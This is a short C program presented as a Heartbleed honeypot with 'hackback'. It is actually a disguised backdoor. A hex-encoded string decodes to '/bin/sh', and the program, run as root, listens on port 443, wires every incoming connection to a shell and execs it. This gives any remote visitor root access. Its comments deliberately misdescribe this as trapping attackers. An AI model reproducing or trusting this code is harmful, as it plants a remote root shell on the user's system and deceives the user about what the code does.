HeartBleed Honeypot

/**
 * Honeypot + Hackback Module for Heartbleed
 *
 * (Because this needs to bind to a privileged port, this needs to be run as
 * root.)
 *
 * Install a honeypot on the given system which will freeze the attacker's
 * exploit in its path, forcing them to manually reset their connection to
 * continue scanning your subnet.
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>

/**
 * The port to accept TLS connections on. Change if you are not generating a
 * honey pot for HTTPS
 */
char TLS_PORT[] = "443";

/**
 * The String to match against in order to locate the very common PoC for the
 * Heartbleed Bug.
 *
 * When we see this we know that we are not dealing with a real connection and
 * we are free to hack back.
 */
char TLS_STRING[] = {0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00};

/**
 * Utility function to open the TLS socket to serve the honeypot connection on
 */
int
open_tls_socket()
{
    struct addrinfo hints, *res;
    int tls_socket;

    memset(&hints, 0, sizeof hints);
    hints.ai_family = AF_UNSPEC;
    hints.ai_socktype = SOCK_STREAM;
    hints.ai_flags = AI_PASSIVE;

    getaddrinfo(NULL, TLS_PORT, &hints, &res);

    tls_socket = socket(res->ai_family, res->ai_socktype, res->ai_protocol);

    bind(tls_socket, res->ai_addr, res->ai_addrlen);

    listen(tls_socket, 10);

    return tls_socket;
}

int
main(int argc, char **argv)
{
    int tls_socket;

    /* Daemonize ourselves */
    if (fork() != 0) {
        printf("Honeypot installed.\n");
        exit(0);
    }

    /* Open our TLS socket */
    tls_socket = open_tls_socket();

    /**
     * Wait for incoming connections, and hack back malicious connections.
     */
    while (1) {
        int new = accept(tls_socket, NULL, NULL);

        /* Fork in case there are other attackers inbound */
        if (fork() == 0) {
            /* Dupe the new connection into blocking on all of it's streams.
             * This messes with the attacker. What a n00b. */
            dup2(new, STDIN_FILENO);
            dup2(new, STDOUT_FILENO);
            dup2(new, STDERR_FILENO);

            /* Close the incoming portion of the connection so that they can't
             * do anything more */
            close(new);

            /* Look for the TLS string inside the TLS WRAPPER and if it's found
             * EXEC a VERY POWERFUL alert. */
            char *TLS_WRAPPER[] = {TLS_STRING, NULL};
            execvp(TLS_STRING, TLS_WRAPPER);
        }

        /* Close the connection in the parent */
        close(new);
    }

    /*WONTREACH*/
    return 0;
}